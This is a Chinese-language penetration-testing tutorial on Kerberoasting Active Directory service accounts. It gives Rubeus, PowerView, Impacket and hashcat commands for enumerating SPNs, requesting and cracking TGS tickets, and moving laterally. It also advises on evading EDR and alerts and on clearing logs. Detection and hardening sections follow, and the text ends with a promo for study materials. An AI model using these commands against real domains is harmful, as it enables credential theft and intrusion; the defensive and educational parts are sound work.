
Kerberoast 域内服务账号攻击实战前言在域渗透的整个攻击链中Kerberoast俗称烤羊毛是非常经典、杀伤力极强的 AD 攻击技术。它只需要一个普通域用户账号不需要域管权限、不需要漏洞只要域内存在注册了 SPN服务主体名称的用户服务账号攻击者就可以向域控申请加密的 TGS 服务票据拿到票据后离线暴力破解一旦破解成功就能拿到服务账号明文密码利用该账号权限横向移动甚至拿下域控。很多新手只知道用工具一键导出 TGS但不懂 SPN 原理、加密类型差异、日志特征和蓝队检测方法。本文从 Kerberos 基础原理、SPN 枚举、TGS 票据获取、hashcat 离线爆破、权限利用、踩坑排错再到检测加固完整实战讲解适配域靶场练习。免责声明本文内容仅用于授权内网渗透测试、AD 靶场安全学习。严禁在未授权企业域环境执行 Kerberoast 攻击未经授权的域内攻击行为违反《网络安全法》需要承担法律责任。一、基础概念理解1. SPNService Principal Name服务主体名称SPN 是 Kerberos 协议里用来标识域内服务的唯一名称例如 MSSQL 数据库、IIS、Exchange 服务。SPN 会绑定到一个域账号上这个账号可以是机器账号以$结尾也可以是普通域用户账号。重点Kerberoast 攻击目标是绑定 SPN 的域用户账号机器账号一般不做 Kerberoast。机器账号密码是系统随机强密码几乎无法爆破。示例 SPNMSSQLSvc/sql01.corp.local:1433 HTTP/web01.corp.local当客户端访问该服务时会向 KDC域控请求 TGS 服务票据。2. Kerberoast 核心原理攻击者使用任意普通域账号登录域环境拿到 TGT 票据攻击者向域控 KDC 发送 TGS-REQ请求目标 SPN 对应的服务票据 TGSKDC 查询该 SPN 绑定的域账号使用这个服务账号的密码生成密钥加密 TGS 票据KDC 把加密后的 TGS 返回攻击者攻击者拿到 TGS在本地离线字典爆破。如果密码弱直接解出服务账号明文密码。关键点TGS 是使用服务账号密码加密不是攻击者账号。整个请求过程只需要普通域用户权限爆破在攻击者本地执行域控不会看到爆破流量隐蔽性强。加密类型差异实战最重要RC4_HMACetype 230x17旧加密基于 NTLM 哈希爆破速度极快是红队首选AES128/AES256etype 17/18现代域默认PBKDF2 加盐爆破难度极大成功率很低。攻击者会尝试降级加密强制申请 RC4 类型 TGS 方便爆破。二、实战前置准备环境Windows 域环境域控 域内主机拥有一个普通域用户账号低权限域用户即可。工具清单Windows 跳板Rubeus、PowerView、BloodHound血犬Linux 跳板Impacket 套件GetUserSPNs.py爆破工具hashcat推荐 GPU 加速、John辅助Neo4jBloodHound可视化查找 SPN 高价值账号三、第一步枚举域内 SPN 账号筛选攻击目标目标找出所有绑定 SPN 的域用户账号优先筛选高价值账号SQL、IIS 服务账号若该账号属于域管理员组则直接拿下域。方式 1PowerViewWindows 域内 PowerShell# 导入PowerView模块查询所有带SPN的用户账号 Import-Module .\PowerView.ps1 Get-DomainUser -SPN执行结果会列出账号名、SPN 列表。过滤掉以$结尾的机器账号剩下的就是可 Kerberoast 目标。方式 2Rubeus 枚举Rubeus.exe kerberoast /list方式 3Impacket GetUserSPNs.pyLinux推荐无落地# 普通域账号枚举SPNdc-ip填写域控IP python3 GetUserSPNs.py corp.local/user1:Password123 -dc-ip 192.168.1.10方式 4BloodHound 血犬大型域首选导入 SharpHound 采集数据后执行查询语句MATCH (u:User) WHERE u.serviceprincipalnames IS NOT NULL RETURN u直接可视化看到 SPN 账号并且可以查看该账号的权限、所属组快速判断是否为高价值目标。筛选目标原则优先找 SQL、Exchange、Web 服务账号重点观察账号是否拥有服务器本地管理员权限甚至是否在 Domain Admins 组。四、第二步请求 TGS 票据核心操作方案 AWindows 跳板 Rubeus实战最常用批量请求所有 SPN 对应的 TGS输出 hashcat 识别格式Rubeus.exe kerberoast /outfile:tgs_hash.txt /nowrap/nowrap去掉换行方便 hashcat 读取outfile保存导出的 TGS 哈希。定向单个账号减少扫描动静推荐 OPSECRubeus.exe kerberoast /user:svc_mssql /outfile:sql_tgs.txt强制降级 RC4 加密提升爆破成功率Rubeus.exe kerberoast /rc4opsec /outfile:tgs_rc4.txt方案 BLinux 跳板 Impacket GetUserSPNs.py不需要在 Windows 上传工具适合 socks 代理横向场景# -request 参数代表主动请求TGS票据输出到文件 python3 GetUserSPNs.py corp.local/user1:Password123 -dc-ip 192.168.1.10 -request -outputfile tgs_hash.txt执行完成tgs_hash.txt 里面就是 TGS 哈希格式适配 hashcat。补充Mimikatz 也可以请求 TGS但是特征明显EDR 容易拦截现代实战优先 Rubeus。五、第三步离线 Hashcat 爆破 TGS烤羊毛hashcat 模式13100专门用于 Kerberoast TGS 票据。# 爆破命令rockyou.txt为密码字典 hashcat -m 13100 tgs_hash.txt rockyou.txt爆破成功后直接输出服务账号明文密码。实战要点只有 RC4 类型 TGS 适合字典爆破AES 类型算力要求极高普通机器几乎无法跑出字典质量决定成败企业弱口令、服务账号简单密码最容易拿下爆破全程本地执行不会和域控产生任何交互域控无法感知爆破行为这也是 Kerberoast 最恐怖的地方。六、第四步拿到明文密码内网横向移动拿到服务账号明文密码后就可以复用凭证进行横向结合上一篇横向移动文章的技术使用 evil-winrm 登录目标服务器5985 端口Wmiexec、psexec 使用该账号登录服务器如果该账号是域管理员直接拿到域控权限抓取服务器内存凭证继续扩大横向范围。示例Impacket wmiexecpython3 wmiexec.py corp.local/svc_mssql:Passw0rd192.168.1.20七、拓展选择性 SPN 注入进阶如果我们拥有写 SPN 权限可以给普通域用户手动添加 SPN执行 Kerberoast攻击完成删除 SPN。# 给用户添加SPN Set-DomainObject -Identity testuser -Set {serviceprincipalnamefake/service.corp.local} # 烤这个账号 Rubeus.exe kerberoast /user:testuser # 清理痕迹删除SPN Set-DomainObject -Identity testuser -Clear serviceprincipalname仅在靶场练习该操作会留下 AD 修改日志极易被蓝队发现。八、蓝队检测域控日志与告警特征Kerberoast 的日志全部产生在域控安全日志事件 ID 4769Kerberos 服务票据请求是最重要的审计点。EventID 4769记录每一次 TGS 请求包含请求账号、目标 SPN、加密类型重点告警指标普通域用户短时间大量请求多个不同 SPN 的 TGS现代域环境下大量请求 RC40x17类型票据正常业务优先 AES非工作时段大量 TGS 请求。KQL 查询示例SentinelSecurityEvent | where EventID 4769 | where TicketEncryptionType 0x17 | where AccountName !endswith $ | summarize SPNCountdcount(ServiceName) by IpAddress,AccountName,bin(TimeGenerated,1m) | where SPNCount 3蜜罐 SPN 检测思路创建一个虚假 SPN 服务账号没有实际业务一旦有任何 TGS 请求直接触发告警。九、防御加固方案渗透报告推荐修复项优先使用 gMSA 组托管服务账号最佳方案gMSA 密码由 AD 自动维护240 位随机长密码自动周期轮换管理员无法查看明文Kerberoast 基本失效。SQL、IIS 等服务尽量迁移到 gMSA 账号。清理无用 SPN定期审计 AD删除闲置、废弃的 SPN减少攻击面。服务账号设置超长复杂密码30 位以上随机密码即使被拿到 TGS字典爆破几乎无法成功。不要给服务账号设置简单密码很多企业踩坑点。配置 Kerberos 加密类型禁用 RC4在 AD 账号属性勾选 AES128、AES256组策略逐步禁用 RC4 加密注意业务兼容性测试老系统会报错。最小权限原则服务账号只分配业务必需权限绝对不要将服务账号加入域管理员组。就算账号被爆破攻击者权限有限无法拿下域控。域控日志审计监控 4769 事件告警短时间批量 TGS 请求、RC4 异常票据请求。十、实战踩坑清单❌坑 1枚举 SPN 拿到一堆机器账号直接拿去 Kerberoast机器账号密码是系统强随机密码无法爆破白浪费时间。过滤$结尾账号只处理用户账号。❌坑 2拿到 AES 类型 TGS使用 hashcat 长时间跑不出密码AES 爆破算力要求极高放弃优先寻找 RC4 类型票据。❌坑 3普通域账号没有请求 TGS 权限默认所有域用户都可以请求 TGS 票据极少数企业 AD 做了特殊权限限制。❌坑 4爆破成功拿到密码但是无法登录目标服务器服务账号只拥有服务权限不一定是服务器本地管理员没有管理员权限就无法执行大部分横向操作。❌坑 5批量执行 kerberoast短时间请求大量 SPN触发蓝队告警实战不要一次性批量导出全部 SPN 票据定向单个高价值账号减少请求次数降低日志特征。❌坑 6Rubeus 被 EDR 直接查杀红队实战做免杀处理Linux 跳板优先使用 Impacket不在 Windows 落地二进制文件。十一、完整攻击流程总结获取一个普通域账号登录域环境PowerView/BloodHound/Impacket 枚举 SPN筛选绑定 SPN 的域用户账号Rubeus 或 GetUserSPNs 向域控请求 TGS 服务票据优先 RC4 加密使用 hashcat 13100 模式本地字典爆破 TGS拿到服务账号明文使用账号密码横向移动继续抓取内网凭证测试完成清理日志、临时文件必要时删除临时添加的 SPN。一句话记住Kerberoast 核心就是普通域账号申请 TGS离线爆破服务账号密码防御关键是 gMSA、长密码、禁用 RC4、最小权限。如何系统学习网络安全网络安全作为数字时代的核心技术基石已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。构建稳固的网络安全能力是一个体系的工程需要从夯实基础理论出发持续深化到攻防对抗与应急响应的实战层面。如果你是准备学习网络安全黑客或者正在学习我可以把我自用的360独家内部资料分享给你包含以下内容你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】